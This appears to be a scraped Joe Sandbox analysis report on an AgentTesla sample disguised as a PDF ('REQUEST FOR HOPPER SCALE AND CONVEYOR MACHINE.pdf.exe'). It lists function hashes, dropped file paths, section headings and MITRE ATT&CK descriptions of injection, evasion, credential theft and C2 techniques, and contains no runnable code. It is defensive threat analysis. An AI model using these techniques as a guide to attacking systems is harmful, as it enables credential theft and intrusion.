Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e8aec225a790d19cdbdbeeca7edb6cf1280fd212ee34dacb3682088f96ac608
Instruction ID: 9748975ced8b56f078f98e3e0541de73ca3d8b35ada57b84667188fb29fd1c6c
Opcode Fuzzy Hash: 5e8aec225a790d19cdbdbeeca7edb6cf1280fd212ee34dacb3682088f96ac608
Instruction Fuzzy Hash: A0012834B052518BCB25963CD864BEF7BD6DBCA654F14883EE14AC7341DA16DC434392

Function 066B42D8 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c693d4fc4c3bc152b4e4e5b8ce59f17f777ead5d141026a4b45b8b649e782b28
Instruction ID: 20aeca835b1d7d85b6775e27b9bbb69f450099e77907d26552c8373215997e2b
Opcode Fuzzy Hash: c693d4fc4c3bc152b4e4e5b8ce59f17f777ead5d141026a4b45b8b649e782b28
Instruction Fuzzy Hash: BC012831F041104BDB54D67EE42479EB7D7DBC9610F18843AE50ACB34AED21CC014385

Function 066BA3CA Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d29a1271242205bd6baf8db2d927084a07685ad52895c5163f9cfccf555f32d
Instruction ID: ce064e40456a283f0fea8a8d3a7c05cd09564b0a9e76e86387e00d565119335d
Opcode Fuzzy Hash: 9d29a1271242205bd6baf8db2d927084a07685ad52895c5163f9cfccf555f32d
Instruction Fuzzy Hash: BC012B30B121148FCB64DABCE864B9B77D5DB85B10F108439F10AC7344EE21DD4187D5

Function 066B3C8A Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04da2a4905548c03f053483083715e02df5edf493fdc706162b25536f08fef96
Instruction ID: 0e3c1dd76c5c09a8fd7c3a470a8a81156da63a0bdda4ab585dea5364e8f7361e
Opcode Fuzzy Hash: 04da2a4905548c03f053483083715e02df5edf493fdc706162b25536f08fef96
Instruction Fuzzy Hash: 45017C32B210299BDF98A669EC14AEB76AAEB88710F55413AD506E7344EF61880247E1

Function 0112D3B7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3873577256.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_112d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6f14a2633b0976cf55fba98dc8f49a251bcab79b87bdac7509de7911a20ab2c
Instruction ID: 8797a7ef489c8430c83148b14e24b8d2411f639e08c8f712dfd668788282a30a
Opcode Fuzzy Hash: a6f14a2633b0976cf55fba98dc8f49a251bcab79b87bdac7509de7911a20ab2c
Instruction Fuzzy Hash: 1E11EE75504280DFCB0ACF14E5C0B15BF61FB44214F24C6AAD8494BA52C33AE41ACB92

Function 0112D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3873577256.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_112d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6f14a2633b0976cf55fba98dc8f49a251bcab79b87bdac7509de7911a20ab2c
Instruction ID: 3da1aae0583631fd0f86aae9d96604622306b9b74c6d046470eafd717396e92f
Opcode Fuzzy Hash: a6f14a2633b0976cf55fba98dc8f49a251bcab79b87bdac7509de7911a20ab2c
Instruction Fuzzy Hash: DD11BB75504284DFCB1ACF64D9C4B15BFA2FB84314F24C6A9D8494B662C33AD45ACF62

Function 0112D207 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3873577256.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_112d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0087aa9c0370ffbcc44a91c72dac69a08dec4055da452c00f01411939cf63ad0
Instruction ID: 3bb97eac10147a4b8350ece9d5846eee2051f7949d36abd0660beb04355804cb
Opcode Fuzzy Hash: 0087aa9c0370ffbcc44a91c72dac69a08dec4055da452c00f01411939cf63ad0
Instruction Fuzzy Hash: C611EF76504284DFDB06CF54E5C4B16FF61FB85324F24C6AAD8490B646C33AD41ACBA2

Function 066B3958 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a10989e3e2597be990c6f1d7af45b803b403cacc4282468f08c81ab8b3633dd
Instruction ID: c46f9a0865614dcb0fc5ab62d1eb7d4b3654d681444aa1124139355e4239bc13
Opcode Fuzzy Hash: 4a10989e3e2597be990c6f1d7af45b803b403cacc4282468f08c81ab8b3633dd
Instruction Fuzzy Hash: 3A11CFB5D01659EFDB00DF9AD884ADEFBB4FB48314F10812AE918A7300D374A944CBA5

Function 066B42E8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 986eb002daf2f6f35b7ac35039827cdb7e0735506e6c6721bf8ecb5e444a1483
Instruction ID: 4defd14465144b9919c8f756a07ace2031511091adb37e12fa7ffae8b1676f2f
Opcode Fuzzy Hash: 986eb002daf2f6f35b7ac35039827cdb7e0735506e6c6721bf8ecb5e444a1483
Instruction Fuzzy Hash: BD01D631F001118BDB64D56ED4247AFB2DBDBC9B20F18843AE10EC734AED61DC424385

Function 066BEE50 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05d7137b1e93d413f69e76dec82a9514073a471daf8396fe638126828c31a100
Instruction ID: 19c342390f15a1f30e048cd2ba97b2f527511ac5aa9231f416fdca956be47d3d
Opcode Fuzzy Hash: 05d7137b1e93d413f69e76dec82a9514073a471daf8396fe638126828c31a100
Instruction Fuzzy Hash: 6101AF35B105118BDB64967CD464BAF77DAEBC9B60F14883AE60EC7344EE26DC434385

Function 066BA3D8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 671242193d12e7e88afde0fe14b226e811c76bb4d0b4275fa169efb2f529edf0
Instruction ID: f111b09870acf0d9a3c03d1766741cb51089883d7a388535e347ec33851b5757
Opcode Fuzzy Hash: 671242193d12e7e88afde0fe14b226e811c76bb4d0b4275fa169efb2f529edf0
Instruction Fuzzy Hash: 3501AF30B111158FDB64EABCE564BAA73D6EBC9B24F109439E60EC7344EE21EC428785

Function 066BC880 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d6c9682ab6f952a881c9cafeee2612e9be08bd230a4a85b6b9a04200dfe525d
Instruction ID: 97340c6c7828cc674c090d9ea78bfad92b28b714d9b9ec25ddcd971299e2bc78
Opcode Fuzzy Hash: 5d6c9682ab6f952a881c9cafeee2612e9be08bd230a4a85b6b9a04200dfe525d
Instruction Fuzzy Hash: 44F02431B21238BBCB609636DC00ECF7B3AE780B64F000029F901E7780DB22A942CBD0

Function 0111D8C5 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3873513135.000000000111D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0111D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_111d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 528399f58177219594b232f6091e686b3b3ed5c3b31748306ce3fd536855cecf
Instruction ID: 1da9d2768d360b92753fbfe938c535d7118c7bcf3ec10ff50818291cea1cfa5b
Opcode Fuzzy Hash: 528399f58177219594b232f6091e686b3b3ed5c3b31748306ce3fd536855cecf
Instruction Fuzzy Hash: 8101FC31004748AAEF184EA9EC88B57FF99EF41620F04C46AED080A14BD3389400CA72

Function 0111D8C4 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3873513135.000000000111D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0111D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_111d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 519df30d08ed1a427941e8158bd95c90f6cb117d342f93a4e22064e7925fa634
Instruction ID: c667a8d190da9a417d458e86940a821a7d55c88f145777d924f406f2003f3560
Opcode Fuzzy Hash: 519df30d08ed1a427941e8158bd95c90f6cb117d342f93a4e22064e7925fa634
Instruction Fuzzy Hash: CDF06271404744AEEB158E1ADC88B66FFD9EB41634F18C45AED484A28BD3799844CA71

Function 066BAFE0 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1b59142a5c316b992656f178079429b2f664aacbc11f1124c474d039e1e3249
Instruction ID: 62535581df01a29125d49af9ba5c8773fc37a3e97557f99725a8c850f01ab579
Opcode Fuzzy Hash: f1b59142a5c316b992656f178079429b2f664aacbc11f1124c474d039e1e3249
Instruction Fuzzy Hash: 9BE0DF32E1022C9BDF3499A9D8045EEBBBDE785720F00043AEA1AE7300D931AC0583D1

Function 066B6540 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0525a14db3bb238371f99142228926c4f230decbf5fea959d3af6f3e59cf1839
Instruction ID: 1c732023db51085c05b305e06eab1f2b5efe9e41fb0e2984f3e90a1190cc8181
Opcode Fuzzy Hash: 0525a14db3bb238371f99142228926c4f230decbf5fea959d3af6f3e59cf1839
Instruction Fuzzy Hash: 49E06872E04248EBDB20CA74DE0979A3F6CD702214F1085F6E804DB303E132CD418751

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vmPeKTe.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_24bxm0q3.prc.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2qpxfvdo.2zi.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5sycyjij.px2.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hgr3ff4a.xag.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ia1mpqme.r2z.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kqchvm4x.mzz.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sdcb2k3l.3tm.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wcyar2mk.vwj.ps1

C:\Users\user\AppData\Local\Temp\tmpDF64.tmp

C:\Users\user\AppData\Local\Temp\tmpF3B7.tmp

Windows Analysis Report
REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre